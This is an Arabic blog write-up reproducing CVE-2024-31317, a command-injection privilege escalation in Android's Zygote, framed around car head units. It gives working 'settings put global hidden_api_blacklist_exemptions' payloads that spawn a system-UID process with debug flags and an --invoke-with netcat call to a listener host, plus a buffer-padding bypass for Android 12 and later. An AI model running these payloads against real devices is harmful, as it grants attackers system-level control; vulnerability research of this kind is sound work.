
CVE-2024-31317
قبل يومين رأيت مقالاً من حساب JD الرسمي على WeChat يحلل ثغرة CVE-2024-31317، وبعد قراءته وجدته مثيراً للاهتمام، وحيث أن الحلول الرئيسية الحالية للسيارات تعتمد على نظام Android وجميعها تقع ضمن نطاق الثغرة، قررت إعادة إنتاجها.
نظراً لأنها رفع صلاحيات على مستوى المستخدم، فإنها تتطلب الحصول أولاً على صلاحيات المستخدم المقابل. لذلك توجد بعض القيود في سيناريوهات اتصالات المركبات، حيث أن الممارسة الشائعة الحالية هي تقييد تثبيت APK ذات التوقيع غير المعروف وعدم القدرة على فتح وضع الهندسة و ADB مباشرة. لكن دمجها مع ثغرات أو حيل أخرى يكون عملياً، لأن صلاحيات النظام (System) تمكن من فعل الكثير. وتجدر الإشارة إلى أن الثغرة تتطلب صلاحية WRITE_SECURE_SETTINGS، وبشكل افتراضي يمتلك ADB هذه الصلاحية، مما يجعلها مفيدة لرفع الصلاحيات بعد الحصول على وضع الهندسة، أما إذا لم يكن ADB متاحاً مباشرة فيجب دمجها مع ثغرات أخرى للحصول عليها.
الثغرة من نوع حقن الأوامر، والتحليل ليس صعباً كلياً، لكن يجب فهم Zygote أولاً. يعمل Zygote كخدمة خلفية، يمكنه إنشاء عمليات التطبيقات عن طريق fork، ويستقبل أوامر UNIX socket على /dev/socket/zygote. كل أمر يبدأ برقم عشري يليه عدد معاملات يتوافق مع ذلك الرقم.
8 [command #1 arg count]
--runtime-args [arg #1: vestigial, needed for process spawn]
--setuid=10266 [arg #2: process UID]
--setgid=10266 [arg #3: process GID]
--target-sdk-version=31 [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread [arg #8: Java entry point]
3 [command #2 arg count]
--set-api-denylist-exemptions [arg #1: special argument, don't spawn process]
LClass1;->method1( [args #2, #3: denylist entries]
LClass1;->field1:
من خلال مقارنة ملفات الـ diff، يتبين أن التعديل هو إضافة تعليقات بإسطر جديدة، مما يثبت أنه في الإصدارات القديمة يمكننا حقن أوامر بواسطة إسطر جديدة لبدء عملية جديدة.
بتتبع استدعاء الدالة لأعلى، نجد أنه من قراءة قيمة HIDDEN_API_BLACKLIST_EXEMPTIONS في البداية إلى جميع عمليات النقل اللاحقة لا توجد أي عملية تصفية، مما يعني أنه يمكننا حقن أي معاملات بشكل مباشر.
لذلك من الطبيعي أن نفكر أنه إذا تمكنا من التحكم في قيمة HIDDEN_API_BLACKLIST_EXEMPTIONS يمكننا حقن معاملاتنا المخصصة. كما ذكرنا سابقاً، لتعيين هذه القيمة نحتاج إلى صلاحية WRITE_SECURE_SETTINGS. ADB يمتلك هذه الصلاحية افتراضياً، فقط استخدم الأمر settings put global hidden_api_blacklist_exemptions command من خلال أداة settings للنظام. لذلك يمكننا محاولة حقن عملية جديدة بطريقة مشابهة لما يلي:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
8
--runtime-args
--setuid=1000
--setgid=1000
--nice-name=com.android.settings
--app-data-dir=/data/user/0/com.android.settings
--package-name=com.android.settings
--seinfo=platform:system_app:targetSdkVersion=29:complete
android.app.ActivityThread"
لكن يبدو أن هذا لا يلبي احتياجاتنا، فلا يزال لا يمكن تنفيذ الأوامر. من خلال التحليل، وجدنا أن معامل invokeWith يمكنه تنفيذ الأوامر.
إذن الأمر بسيط، نحتاج فقط إلى إنشاء أمر مشابه لما يلي:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
6
--runtime-args
--setuid=1000
--setgid=1000
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
ولكن عند التنفيذ لا ينجح. بالنظر إلى logcat نجد الرسالة التالية التي تشير إلى الحاجة إلى وضع التصحيح (debug)، فكيف نجعلها تدخل وضع التصحيح؟
تابعنا في الكود، نجد أن هناك معامل runtime-flags عند بدء التشغيل يستخدم لتهيئة خاصية التصحيح.
المعاملات القابلة للتهيئة كالتالي:
لذلك نحتاج فقط إلى إضافة هذا المعامل عند بدء التشغيل مع تفعيل جميع خصائص التصحيح. الأمر المعدل كالتالي:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
7
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=43267
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
بعد التنفيذ نجح nc في التقاط طلب الشبكة.

في Android 11 وما دونه يمكن استخدام الطريقة السابقة بسهولة، لكن في Android 12 وما بعده نفذت Google محلل أوامر C++ سريع المسار (fast-path) لتعزيز محلل أوامر Java الخاص بـ Zygote، وذلك باستخدام الفئة الجديدة NativeCommandBuffer. بعد تحليل NativeCommandBuffer لجميع أسطر الأوامر، يتجاهل المحتوى التالي ويقرأ الأمر التالي من socket مرة أخرى، مما يعني أنه عندما نحقن أمرين، فإنه يتجاهل المحتوى المحقون مما يمنع الحقن. لذلك نحتاج إلى طريقة لتجاوز استدعاء read() الأول. تعتمد الطريقة بشكل أساسي على طريقة المؤلف الأصلي، وهي إدراج عدد كبير من الفواصل في النهاية، بحيث تستغرق maybeSetApiDenylistExemptions() وقتاً طويلاً في التكرار بعد الكتابة لزيادة الفاصل الزمني. المنطق الأساسي هنا هو أن maybeSetApiDenylistExemptions() تستدعي state.mZygoteOutputWriter.write() عدة مرات، لكن هذه الاستدعاءات لا تُكتب مباشرة إلى socket لأن mZygoteOutputWriter ترث من BufferedWriter الذي يجمع البيانات في المخزن المؤقت الداخلي قبل الكتابة إلى الناقل الأساسي. توفر هذه الآلية طريقة جاهزة لإصدار كتابتين إلى socket مع تأخير مناسب بينهما.
حجم المخزن المؤقت لـ BufferedWriter هو 8192 بايت، وهو أصغر بكثير من حجم مخزن Zygote. هنا نحتاج فقط إلى ملء المخزن بـ 8192 بايت قبل إدراج الأمر الخبيث المحقون، مما يجبر BufferedWriter على كتابة هذه البيانات أولاً.
كان من المفترض أن أكتب هذا المقال منذ وقت طويل، لكني كنت مشغولاً ونسيت 😷. بالإضافة إلى ذلك، استخدمت هذه الثغرة في مسابقة "Zhuwang" وحصلت على نقاط كثيرة. مؤخراً، أثناء مشروع اختبار يتعلق بنظام Android للسيارات، تذكرت هذه المدونة النصف مكتملة، فسارعت بتدوينها قبل أن أنسى ما تبقى. كما أشكر كثيراً الأخ flanker على مساعدته في إعادة إنتاج الثغرة، حيث ساعدني في تجنب الكثير من المشاكل.